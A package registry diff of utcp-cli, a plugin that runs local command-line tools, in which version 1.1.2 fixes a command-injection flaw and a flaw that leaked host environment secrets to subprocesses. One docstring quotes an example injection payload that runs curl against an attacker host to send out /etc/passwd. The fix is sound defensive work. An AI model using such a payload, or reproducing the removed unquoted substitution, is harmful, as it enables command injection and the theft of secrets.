utcp-cli 1.1.0__tar.gz → 1.1.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: utcp-cli
3
- Version: 1.1.0
3
+ Version: 1.1.2
4
4
  Summary: UTCP communication protocol plugin for wrapping local command-line tools.
5
5
  Author: UTCP Contributors
6
6
  License-Expression: MPL-2.0
@@ -15,7 +15,7 @@ Requires-Python: >=3.10
15
15
  Description-Content-Type: text/markdown
16
16
  Requires-Dist: pydantic>=2.0
17
17
  Requires-Dist: pyyaml>=6.0
18
- Requires-Dist: utcp>=1.0
18
+ Requires-Dist: utcp>=1.1
19
19
  Provides-Extra: dev
20
20
  Requires-Dist: build; extra == "dev"
21
21
  Requires-Dist: pytest; extra == "dev"
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
4
4
 
5
5
  [project]
6
6
  name = "utcp-cli"
7
- version = "1.1.0"
7
+ version = "1.1.2"
8
8
  authors = [
9
9
  { name = "UTCP Contributors" },
10
10
  ]
@@ -14,7 +14,7 @@ requires-python = ">=3.10"
14
14
  dependencies = [
15
15
  "pydantic>=2.0",
16
16
  "pyyaml>=6.0",
17
- "utcp>=1.0"
17
+ "utcp>=1.1"
18
18
  ]
19
19
  classifiers = [
20
20
  "Development Status :: 4 - Beta",
@@ -7,16 +7,27 @@ from utcp.exceptions import UtcpSerializerValidationError
7
7
  import traceback
8
8
 
9
9
  class CommandStep(BaseModel):
10
- """Configuration for a single command step in a CLI execution flow.
11
-
10
+ """REQUIRED
11
+ Configuration for a single command step in a CLI execution flow.
12
+
12
13
  Attributes:
13
14
  command: The command string to execute. Can contain UTCP_ARG_argname_UTCP_END
14
15
  placeholders that will be replaced with values from tool_args. Can also
15
16
  reference previous command outputs using $CMD_0_OUTPUT, $CMD_1_OUTPUT, etc.
17
+
18
+ Placeholder substitution is shell-quoted (`shlex.quote` on Unix,
19
+ PowerShell single-quoted literals on Windows) so that
20
+ `tool_args` values cannot inject extra commands. As a
21
+ consequence, each `UTCP_ARG_..._UTCP_END` placeholder always
22
+ expands to **exactly one shell token**. Tools that previously
23
+ relied on a single placeholder splitting into multiple flags
24
+ (e.g. `UTCP_ARG_flags_UTCP_END` -> `--verbose --debug`) must now
25
+ use one placeholder per intended flag. This change ships with
26
+ utcp-cli 1.1.2 and addresses GHSA-33p6-5jxp-p3x4.
16
27
  append_to_final_output: Whether this command's output should be included
17
28
  in the final result. If not specified, defaults to False for all
18
29
  commands except the last one.
19
-
30
+
20
31
  Examples:
21
32
  Basic command step:
22
33
  ```json
@@ -25,7 +36,7 @@ class CommandStep(BaseModel):
25
36
  "append_to_final_output": true
26
37
  }
27
38
  ```
28
-
39
+
29
40
  Command with argument placeholders and output reference:
30
41
  ```json
31
42
  {
@@ -35,10 +46,15 @@ class CommandStep(BaseModel):
35
46
  ```
36
47
  """
37
48
  command: str = Field(
38
- description="Command string to execute, may contain UTCP_ARG_argname_UTCP_END placeholders"
49
+ description=(
50
+ "Command string to execute, may contain UTCP_ARG_argname_UTCP_END "
51
+ "placeholders. Each placeholder is shell-quoted at substitution "
52
+ "time and therefore expands to exactly one shell token; use one "
53
+ "placeholder per intended argument."
54
+ )
39
55
  )
40
56
  append_to_final_output: Optional[bool] = Field(
41
- default=None,
57
+ default=None,
42
58
  description="Whether to include this command's output in final result. Defaults to False for all except last command"
43
59
  )
44
60
 
@@ -53,26 +69,76 @@ class CliCallTemplate(CallTemplate):
53
69
  **Cross-Platform Script Generation:**
54
70
  - **Windows**: Commands are converted to a PowerShell script
55
71
  - **Unix/Linux/macOS**: Commands are converted to a Bash script
56
-
72
+
57
73
  **Command Syntax Requirements:**
58
74
  - Windows: Use PowerShell syntax (e.g., `Get-ChildItem`, `Set-Location`)
59
75
  - Unix: Use Bash/shell syntax (e.g., `ls`, `cd`)
60
-
76
+
61
77
  **Referencing Previous Command Output:**
62
78
  You can reference the output of previous commands using variables:
63
79
  - **PowerShell**: `$CMD_0_OUTPUT`, `$CMD_1_OUTPUT`, etc.
64
80
  - **Bash**: `$CMD_0_OUTPUT`, `$CMD_1_OUTPUT`, etc.
65
-
81
+
66
82
  Example: `echo "Previous result: $CMD_0_OUTPUT"`
67
83
 
84
+ **Argument Substitution and Quoting (utcp-cli >= 1.1.2):**
85
+ `UTCP_ARG_argname_UTCP_END` placeholders are replaced with the
86
+ corresponding `tool_args` value, shell-quoted for the target shell
87
+ (`shlex.quote` on Unix, PowerShell single-quoted literal on Windows).
88
+ Each placeholder therefore expands to exactly one shell token. If a
89
+ tool needs multiple flags or arguments, define multiple placeholders
90
+ (one per flag) instead of relying on a single placeholder splitting
91
+ on whitespace. This change closes the command-injection vector
92
+ tracked as GHSA-33p6-5jxp-p3x4.
93
+
94
+ **Subprocess Environment (utcp-cli >= 1.1.2):**
95
+ The CLI subprocess no longer inherits the full host environment.
96
+ Inheritance is controlled by `inherit_env_vars`:
97
+ - Omitted / `null`: a built-in default allowlist of host variables
98
+ is passed through (e.g. `PATH`, `PATHEXT`, `SYSTEMROOT`, `HOME`,
99
+ `LANG`) so shells and binaries can be located normally.
100
+ - `[]`: strict mode — nothing from the host environment is
101
+ inherited; only `env_vars` is propagated.
102
+ - `["FOO", "BAR"]`: exactly those host variables are passed
103
+ through. The default allowlist is NOT merged in, so callers that
104
+ still need `PATH` must list it explicitly.
105
+ `env_vars` is always applied on top and overrides any inherited
106
+ value. Values in `env_vars` may be plain strings or `${VARNAME}`
107
+ style placeholders resolved by the UTCP client's variable
108
+ substitutor (note: those placeholders are resolved against the UTCP
109
+ client's variable sources, not against the host shell — to forward
110
+ a host variable by name use `inherit_env_vars`). This closes the
111
+ secret-exfiltration vector tracked as GHSA-5v57-8rxj-3p2r.
112
+
68
113
  Attributes:
69
114
  call_template_type: The type of the call template. Must be "cli".
70
115
  commands: A list of CommandStep objects defining the commands to execute
71
116
  in order. Each command can contain UTCP_ARG_argname_UTCP_END placeholders
72
117
  that will be replaced with values from tool_args during execution.
118
+ Placeholders are shell-quoted and therefore expand to exactly one
119
+ shell token (see class docstring).
73
120
  env_vars: A dictionary of environment variables to set for the command's
74
121
  execution context. Values can be static strings or placeholders for
75
- variables from the UTCP client's variable substitutor.
122
+ variables from the UTCP client's variable substitutor. Always
123
+ propagated; overrides anything inherited from the host.
124
+ inherit_env_vars: Controls which host environment variables are
125
+ passed through to the subprocess.
126
+ - `None` (default): the built-in default allowlist
127
+ (`PATH`, `HOME`, `LANG` on Unix; `PATH`, `PATHEXT`,
128
+ `SYSTEMROOT`, `USERPROFILE`, etc. on Windows) is
129
+ inherited so shells and binaries work without extra
130
+ configuration.
131
+ - `[]`: strict mode — no host variables are inherited at
132
+ all. Only `env_vars` reaches the subprocess.
133
+ - `["FOO", "BAR"]`: exactly those host variables are
134
+ inherited. The default allowlist is replaced, not
135
+ extended, so include `PATH` (and any other required
136
+ shell vars) yourself if needed.
137
+ Variables named here that are not set on the host are
138
+ silently skipped. Use this to expose specific host secrets
139
+ such as `OPENAI_API_KEY`, `AWS_PROFILE`, `PYTHONPATH`, or
140
+ `NODE_PATH` without putting their values in the call
141
+ template.
76
142
  working_dir: The working directory from which to run the commands. If not
77
143
  provided, it defaults to the current process's working directory.
78
144
  auth: Authentication details. Not applicable to the CLI protocol, so it
@@ -96,7 +162,7 @@ class CliCallTemplate(CallTemplate):
96
162
  ]
97
163
  }
98
164
  ```
99
-
165
+
100
166
  Referencing previous command output:
101
167
  ```json
102
168
  {
@@ -115,7 +181,7 @@ class CliCallTemplate(CallTemplate):
115
181
  }
116
182
  ```
117
183
 
118
- Command with environment variables and placeholders:
184
+ Command with environment variables, host pass-through, and placeholders:
119
185
  ```json
120
186
  {
121
187
  "name": "python_multi_step_tool",
@@ -132,16 +198,19 @@ class CliCallTemplate(CallTemplate):
132
198
  "env_vars": {
133
199
  "PYTHONPATH": "/custom/path",
134
200
  "API_KEY": "${API_KEY_VAR}"
135
- }
201
+ },
202
+ "inherit_env_vars": ["OPENAI_API_KEY", "AWS_PROFILE"]
136
203
  }
137
204
  ```
138
205
 
139
206
  Security Considerations:
140
207
  - Commands are executed in a subprocess. Ensure that the commands
141
208
  specified are from a trusted source.
142
- - Avoid passing unsanitized user input directly into the command string.
143
- Use tool argument validation where possible.
144
- - All placeholders are replaced with string values from tool_args.
209
+ - `tool_args` values are shell-quoted on substitution, but the
210
+ *command template itself* is not — never assemble it from
211
+ untrusted input.
212
+ - The host environment is restricted; secrets are not propagated
213
+ unless explicitly named in `env_vars` or `inherit_env_vars`.
145
214
  - Commands should use the appropriate syntax for the target platform
146
215
  (PowerShell on Windows, Bash on Unix).
147
216
  - Previous command outputs are available as variables but should be
@@ -150,10 +219,30 @@ class CliCallTemplate(CallTemplate):
150
219
 
151
220
  call_template_type: Literal["cli"] = "cli"
152
221
  commands: List[CommandStep] = Field(
153
- description="List of commands to execute in order. Each command can contain UTCP_ARG_argname_UTCP_END placeholders."
222
+ description=(
223
+ "List of commands to execute in order. Each command can contain "
224
+ "UTCP_ARG_argname_UTCP_END placeholders, which are shell-quoted "
225
+ "on substitution and therefore expand to exactly one shell token."
226
+ )
154
227
  )
155
228
  env_vars: Optional[Dict[str, str]] = Field(
156
- default=None, description="Environment variables to set when executing the commands"
229
+ default=None,
230
+ description=(
231
+ "Environment variables to set when executing the commands. Always "
232
+ "propagated to the subprocess and override values inherited from "
233
+ "the host."
234
+ )
235
+ )
236
+ inherit_env_vars: Optional[List[str]] = Field(
237
+ default=None,
238
+ description=(
239
+ "Controls host environment inheritance. None (default) inherits "
240
+ "a built-in safe allowlist (PATH, HOME / PATHEXT, SYSTEMROOT, "
241
+ "etc.). [] disables host inheritance entirely. A list of names "
242
+ "replaces the default allowlist with exactly those variables, so "
243
+ "include PATH explicitly if your tool needs it. Names not set on "
244
+ "the host are skipped silently."
245
+ )
157
246
  )
158
247
  working_dir: Optional[str] = Field(
159
248
  default=None, description="Working directory for command execution"
@@ -10,7 +10,6 @@ Key Features:
10
10
  - Tool discovery by running a command that outputs a UTCP manual.
11
11
  - Flexible argument formatting for different CLI conventions.
12
12
  - Support for environment variables and custom working directories.
13
- - Automatic parsing of JSON output with a fallback to raw text.
14
13
  - Cross-platform command parsing for Windows and Unix-like systems.
15
14
 
16
15
  Security Considerations:
@@ -62,22 +61,89 @@ class CliCommunicationProtocol(CommunicationProtocol):
62
61
  """Log error messages."""
63
62
  logger.error(f"[CliCommunicationProtocol Error] {message}")
64
63
 
64
+ # Default set of host environment variables propagated to the CLI
65
+ # subprocess when `CliCallTemplate.inherit_env_vars` is not provided
66
+ # (i.e. None). Locating binaries (`PATH` / `PATHEXT`), basic shell +
67
+ # locale state, and Windows runtime paths are needed for almost any
68
+ # tool to start. Anything else (cloud creds, API keys, internal
69
+ # tokens) must be opted in by listing the variable name explicitly in
70
+ # `inherit_env_vars`, or its value provided in `env_vars`.
71
+ #
72
+ # If `inherit_env_vars == []`, the caller is opting into strict mode
73
+ # and NOTHING is inherited from the host — only `env_vars` reaches the
74
+ # subprocess.
75
+ #
76
+ # Backs GHSA-5v57-8rxj-3p2r: the previous implementation handed
77
+ # `os.environ.copy()` to the subprocess, which combined with the
78
+ # command injection in `_substitute_utcp_args`
79
+ # (GHSA-33p6-5jxp-p3x4) let an attacker exfiltrate every secret in
80
+ # the host process.
81
+ _DEFAULT_INHERITED_KEYS_UNIX: tuple = (
82
+ "PATH", "HOME", "LANG", "LC_ALL", "LC_CTYPE", "USER", "LOGNAME",
83
+ "SHELL", "TZ", "TERM",
84
+ )
85
+ _DEFAULT_INHERITED_KEYS_WINDOWS: tuple = (
86
+ "PATH", "PATHEXT", "SYSTEMROOT", "SYSTEMDRIVE", "WINDIR", "COMSPEC",
87
+ "TEMP", "TMP", "USERPROFILE", "USERNAME", "USERDOMAIN", "COMPUTERNAME",
88
+ "HOMEDRIVE", "HOMEPATH", "APPDATA", "LOCALAPPDATA", "PROGRAMDATA",
89
+ "PROGRAMFILES", "PROGRAMFILES(X86)", "PROGRAMW6432", "OS",
90
+ "PROCESSOR_ARCHITECTURE", "NUMBER_OF_PROCESSORS",
91
+ )
92
+
93
+ @classmethod
94
+ def _default_inherited_keys(cls) -> tuple:
95
+ """Return the platform-appropriate default inheritance list."""
96
+ if os.name == 'nt':
97
+ return cls._DEFAULT_INHERITED_KEYS_WINDOWS
98
+ return cls._DEFAULT_INHERITED_KEYS_UNIX
99
+
65
100
  def _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]:
66
101
  """Prepare environment variables for command execution.
67
-
102
+
103
+ Composes the subprocess environment with one layer of host
104
+ inheritance (controlled by `provider.inherit_env_vars`) plus
105
+ `provider.env_vars` on top:
106
+
107
+ - `inherit_env_vars is None` (default): pass through the
108
+ built-in default allowlist of host vars (PATH, HOME / PATHEXT,
109
+ SYSTEMROOT, etc.) so normal shells and binaries work without
110
+ extra wiring.
111
+ - `inherit_env_vars == []`: strict mode. Nothing from the host
112
+ environment reaches the subprocess — only `env_vars`.
113
+ - `inherit_env_vars == [...]`: pass through exactly the named
114
+ host variables. The default allowlist is NOT merged in, so
115
+ callers who still want PATH must include it explicitly.
116
+
117
+ `env_vars` is always applied last and overrides anything inherited
118
+ from the host.
119
+
120
+ This prevents the unrestricted host environment from leaking into
121
+ a subprocess that may be running attacker-controlled commands
122
+ (GHSA-5v57-8rxj-3p2r).
123
+
68
124
  Args:
69
125
  provider: The CLI provider
70
-
126
+
71
127
  Returns:
72
128
  Environment variables dictionary
73
129
  """
74
- import os
75
- env = os.environ.copy()
76
-
77
- # Add custom environment variables if provided
130
+ if provider.inherit_env_vars is None:
131
+ inherited_keys: tuple = self._default_inherited_keys()
132
+ else:
133
+ inherited_keys = tuple(provider.inherit_env_vars)
134
+
135
+ env: Dict[str, str] = {}
136
+ for key in inherited_keys:
137
+ value = os.environ.get(key)
138
+ if value is not None:
139
+ env[key] = value
140
+
141
+ # Caller-supplied variables override anything inherited from the
142
+ # host. Unset host vars in `inherited_keys` are skipped silently
143
+ # so missing optionals don't break tool execution.
78
144
  if provider.env_vars:
79
145
  env.update(provider.env_vars)
80
-
146
+
81
147
  return env
82
148
 
83
149
  async def _execute_command(
@@ -256,27 +322,55 @@ class CliCommunicationProtocol(CommunicationProtocol):
256
322
  f"Deregistering CLI manual '{manual_call_template.name}' (no-op)"
257
323
  )
258
324
 
325
+ @staticmethod
326
+ def _shell_quote(value: str) -> str:
327
+ """Quote a single value so it is interpreted as one literal token by
328
+ the target shell (`bash` on Unix, `powershell.exe` on Windows).
329
+
330
+ On Unix we delegate to `shlex.quote`. On Windows we wrap the value in
331
+ a PowerShell single-quoted literal: inside such a literal everything
332
+ is taken verbatim except `'` itself, which is escaped by doubling
333
+ (`''`). This blocks the metacharacters PowerShell would otherwise
334
+ interpret (`;`, `&`, `|`, `` ` ``, `$`, `(`, `)`, `<`, `>`, line
335
+ breaks).
336
+
337
+ Backs GHSA-33p6-5jxp-p3x4: the previous substitution did
338
+ `str(tool_args[arg_name])` directly into the shell script, which
339
+ allowed arbitrary command injection (e.g.
340
+ `"data.csv; curl http://attacker.example/$(cat /etc/passwd)"`).
341
+ """
342
+ if os.name == 'nt':
343
+ return "'" + value.replace("'", "''") + "'"
344
+ return shlex.quote(value)
345
+
259
346
  def _substitute_utcp_args(self, command: str, tool_args: Dict[str, Any]) -> str:
260
347
  """Substitute UTCP_ARG placeholders in command string with tool arguments.
261
-
348
+
349
+ Each substituted value is shell-quoted for the target shell so that
350
+ attacker-controlled `tool_args` cannot escape the placeholder and
351
+ inject extra commands. As a side effect, a placeholder always
352
+ expands to exactly one shell token: callers that need to pass
353
+ multiple flags / arguments must use multiple placeholders rather
354
+ than splitting a single string at runtime.
355
+
262
356
  Args:
263
357
  command: Command string containing UTCP_ARG_argname_UTCP_END placeholders
264
358
  tool_args: Dictionary of argument names and values
265
-
359
+
266
360
  Returns:
267
- Command string with placeholders replaced by actual values
361
+ Command string with placeholders replaced by shell-quoted values
268
362
  """
269
363
  # Pattern to match UTCP_ARG_argname_UTCP_END
270
364
  pattern = r'UTCP_ARG_(.+?)_UTCP_END'
271
-
365
+
272
366
  def replace_placeholder(match):
273
367
  arg_name = match.group(1)
274
368
  if arg_name in tool_args:
275
- return str(tool_args[arg_name])
369
+ return self._shell_quote(str(tool_args[arg_name]))
276
370
  else:
277
371
  self._log_error(f"Missing argument '{arg_name}' for placeholder in command: {command}")
278
- return f"MISSING_ARG_{arg_name}"
279
-
372
+ return self._shell_quote(f"MISSING_ARG_{arg_name}")
373
+
280
374
  return re.sub(pattern, replace_placeholder, command)
281
375
 
282
376
  def _build_combined_shell_script(self, commands: List[CommandStep], tool_args: Dict[str, Any]) -> str:
@@ -588,8 +682,7 @@ class CliCommunicationProtocol(CommunicationProtocol):
588
682
  Returns:
589
683
  The result of the command execution. If the command exits with a code
590
684
  of 0, it returns the content of stdout. If the exit code is non-zero,
591
- it returns the content of stderr. The output is parsed as JSON if
592
- possible; otherwise, it is returned as a raw string.
685
+ it returns the content of stderr.
593
686
 
594
687
  Raises:
595
688
  ValueError: If `tool_call_template` is not an instance of
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: utcp-cli
3
- Version: 1.1.0
3
+ Version: 1.1.2
4
4
  Summary: UTCP communication protocol plugin for wrapping local command-line tools.
5
5
  Author: UTCP Contributors
6
6
  License-Expression: MPL-2.0
@@ -15,7 +15,7 @@ Requires-Python: >=3.10
15
15
  Description-Content-Type: text/markdown
16
16
  Requires-Dist: pydantic>=2.0
17
17
  Requires-Dist: pyyaml>=6.0
18
- Requires-Dist: utcp>=1.0
18
+ Requires-Dist: utcp>=1.1
19
19
  Provides-Extra: dev
20
20
  Requires-Dist: build; extra == "dev"
21
21
  Requires-Dist: pytest; extra == "dev"
@@ -9,4 +9,5 @@ src/utcp_cli.egg-info/dependency_links.txt
9
9
  src/utcp_cli.egg-info/entry_points.txt
10
10
  src/utcp_cli.egg-info/requires.txt
11
11
  src/utcp_cli.egg-info/top_level.txt
12
- tests/test_cli_communication_protocol.py
12
+ tests/test_cli_communication_protocol.py
13
+ tests/test_security.py
@@ -1,6 +1,6 @@
1
1
  pydantic>=2.0
2
2
  pyyaml>=6.0
3
- utcp>=1.0
3
+ utcp>=1.1
4
4
 
5
5
  [dev]
6
6
  build